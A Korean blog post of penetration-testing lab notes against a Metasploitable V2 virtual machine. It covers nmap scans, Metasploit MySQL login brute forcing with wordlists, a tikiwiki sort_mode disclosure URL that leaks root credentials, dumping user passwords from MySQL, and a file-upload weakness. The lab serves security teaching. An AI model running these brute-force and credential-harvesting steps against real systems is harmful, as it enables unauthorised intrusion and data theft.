메타스플로잇을 사용하여 서비스 취약점 점검
메타스플로잇 취약점 스캔
[EX01]
사전파일을 이용 MySQL 원격 로그인 시도
공격대상 서버(192.168.10.134) 서비스 목록 확인
#nmap -sV 192.168.10.134 metasploitable V2 Server IP
#msfconsole
msf > search mysql_login
msf > use auxiliary/scanner/mysql/mysql_login mysql에 접속할 수 있는 지정한 계정/패스워드로 로그인, root 암호는 blank 디폴트
root 계정을 알면 mysql의 모든 권한을 얻을수 있다.
msf auxiliary(mysql_login) > show options
msf auxiliary(mysql_login) > set RHOSTS 192.168.10.134
msf auxiliary(mysql_login) > run
[*] 192.168.10.134:3306 MYSQL - Found remote MySQL version 5.0.51a [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ID/PASSWORD 설정이 되어 있지 않아 100% complete 이지만 시도 되지 않았다. [TERM2] 다른 윈도우에서 user.txt, pass.txt 파일을 생성 # cd /usr/share/metasploit-framework/data/wordlists 사전파일 경로 # vi user.txt root admin administrator # echo "" > pass.txt # -> Metaspolitable V2에서는 root 사용자의 암호가 없다. |
id/password 설정
msf auxiliary(mysql_login) > set USER_FILE [-] Unknown variable Usage: set [option] [value] Set the given option to value. If value is omitted, print the current value. If both are omitted, print options that are currently set. If run from a module context, this will set the value in the module's datastore. Use -g to operate on the global datastore |
msf auxiliary(mysql_login) > set USER_FILE
/usr/share/metasploit-framework/data/wordlists/user.txt
msf auxiliary(mysql_login) > set PASS_FILE
/usr/share/metasploit-framework/data/wordlists/pass.txt
msf auxiliary(mysql_login) > run
[*] 192.168.10.134:3306 MYSQL - Found remote MySQL version 5.0.51a [+] 192.168.10.134:3306 MYSQL - Success: 'root:' [-] 192.168.10.134:3306 MYSQL - LOGIN FAILED: admin: (Incorrect: Access denied for user 'admin'@'192.168.10.50' (using password: NO)) [-] 192.168.10.134:3306 MYSQL - LOGIN FAILED: administrator: (Incorrect: Access denied for user 'administrator'@'192.168.10.50' (using password: NO)) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed |
msf auxiliary(mysql_login) > quit
-> DB 테스트 과정을 wireshark를 통해 분석해 본다.
[-]실패 원인 분석 wireshark 분석작업
# wireshark &
************************************************************************************************
와이어샤크 TCP Stream 사용시 튕김 현상
root@kali:~# dpkg -l | grep -i wireshark
root@kali:~# apt-get install wireshark-common wireshark-qt
와이어샤크 전체 업데이트(의존성 문제)
root@kali:~# apt-get install libwireshark-data \
> libwireshark8 \
> libwireshark6 \
> libwscodecs1 \
> libwsutil7
[참고] DB login 프로그램
(MSSQL) auxiliary/scanner/mssql/mssql_login
(MYSQL) auxiliary/scanner/mysql/mysql_login
(Oracle) auxiliary/scanner/oracle/oracle_login
(PostgreSQL) auxiliary/scanner/postgres/postgres_sql
************************************************************************************************
[EX02]
tikiwiki 프로그램의 취약점 점검
공격대상 서버(192.168.10.134)에 열려 있는 포트 목록 확인
# nmap -sV -p 1-65535 192.168.10.134
# nmap -sV -p 1-65535 192.168.10.134 Starting Nmap 7.01 ( https://nmap.org ) at 2017-01-04 20:26 KST Nmap scan report for 192.168.10.134 Host is up (0.00010s latency). Not shown: 65505 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open tcpwrapped 1099/tcp open rmiregistry GNU Classpath grmiregistry 1524/tcp open shell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc Unreal ircd 6697/tcp open irc Unreal ircd 8009/tcp open ajp13? 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb) 43870/tcp open status 1 (RPC #100024) 53342/tcp open unknown 57095/tcp open nlockmgr 1-4 (RPC #100021) 59989/tcp open mountd 1-3 (RPC #100005) MAC Address: 00:0C:29:6A:A5:85 (VMware) Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 152.28 seconds |
powerfuzzer를 사용하여 테스트
powerfuzzer 웹/애플리케이션상의 숨겨진 파일이나 디렉토리들을
부르트로스 방식으로 검출해 공격 팩터(Facter)를 찾는 멀티스레드 자바 애플리케이션.
# farefox http://192.168.10.134/tikiwiki/tiki-index.php &
*설정작업이 안되서 정상적으로 출력이 안될 경우
Go here to begin the installations process 선택
다음페이지
Database Type : MySQL
host : localhost
User : root
Passwd :
Database name : tikiwiki195
다음 페이지에서 Create
웹 브라우저 종료
[참고] 만약 Metaspolitable V2 서버에서 database 이름을 확인하기 위해서는 (Metasploitable V2 Server) $ mysql -u root -p /* -u : username, -p : password */ Enter password: <ENTER> mysql> show databases; mysql> quit $ |
정상적인 화면
③ KaliLinux에서 powerfuzzer 실행
웹 사이트에 대한 정보를 검색 하기 위해 사용
웹 사이트 안에 파일과 디렉토리를 볼 수 있다.(80포트가 열려있다.)
보통 웹 사이트를 구성할 때 많은 기능이 구현 되어 있는 오픈소스를 사용 한다.
공개 된 코드이기 때문에 취약성을 점검하는 공격자가 있다. (보안상 양날의 검)
■ powerfuzzer 실행하는 방법
KaliLinux > Web Applications > Web Application Fuzzy > powerfuzzer
or
KaliLinux > Vulnerability Analysis > Fuzzing Tools > powerfuzzer
or
# powerfuzzer &
오래된 powerfuzzer 대체 툴 dirbuster
# dirbuster
**********************************************************************************************
powerfuzzer 실행
#powerfuzzer &
Target URL 입력 후 Scan
-> 출력 결과를 분석하면 목록이 많이 나온다.
-> 이중에서 URL 하나를 선택하여 웹에서 접근
# firefox http://192.168.10.134/tikiwiki/tiki-index.php
-> Home Page 출력
대상이 tikiwiki를 사용하고 있는지 powerfuzzer 툴을 통해 알 수 있다.
최신 취약점을 확인하기 위해 http://www.exploit-db.com 에서 검색
search -> Descriptions -> tikiwiki 입력
많은 버그가 있는 걸 확인
2006-11-01
Sirius (sort_mode) Information Disclosure Vulnerability 선택
# firefox &
http://192.168.10.134/tikiwiki/tiki-listpages.php?offset=0&sort_mode=
ctrl + f -> root 검색
root의 id/password 를 확인 했다.
접속 해보기
MySQL에 접근하여 정보를 확인
# ssh msfadmin@192.168.10.134
passwd : msfadmin
$ mysql -u root -p ( -u username -p password )
Enter password : <ENTER>
mysql > show databases;
mysql > user tikiwiki195
mysql > show tables;
mysql > select * from users_users;
mysql > select login,password from users_users;
mysql > quit
$ exit
#
# firefox http://192.168.10.134/tikiwiki/tiki-index.php &
login 부분 user : admin pass : admin 입력
upload a backup 부분 '파일 선택', 'upload'를 통해 파일업로드 취약점을 테스트 할 수 있다.
로그인 성공
파일 업로드 취약점
(정리) tikiwiki 프로그램의 취약점 점검 nmap 툴을 통해 포트 스캔 작업 -> 80 포트 웹 접속 -> 사이트의 소개/목적 powerpuzzer 툴을 사용하여 파일/디렉토리 목록화 -> tikiwiki 프로그램 설치 확인 tikiwiki 프로그램의 취약점 점검(www.exploit-db.com) -> 취약점 점검 내용 확인 취약점 테스트
|
'Learning > └◆Metasploit' 카테고리의 다른 글
metasploit 07. HTTrack 툴 사용 (0) | 2017.01.05 |
---|---|
metasploit 06. PostgreSQL Bruteforce, Obtain and Crack Root SSH key (0) | 2017.01.04 |
metasploit 04 zenmap을 통해 포트스캔된 정보를 metasploit에서 읽기 (0) | 2017.01.04 |
metasploit 03 명령어 및 사용법_2 (0) | 2017.01.04 |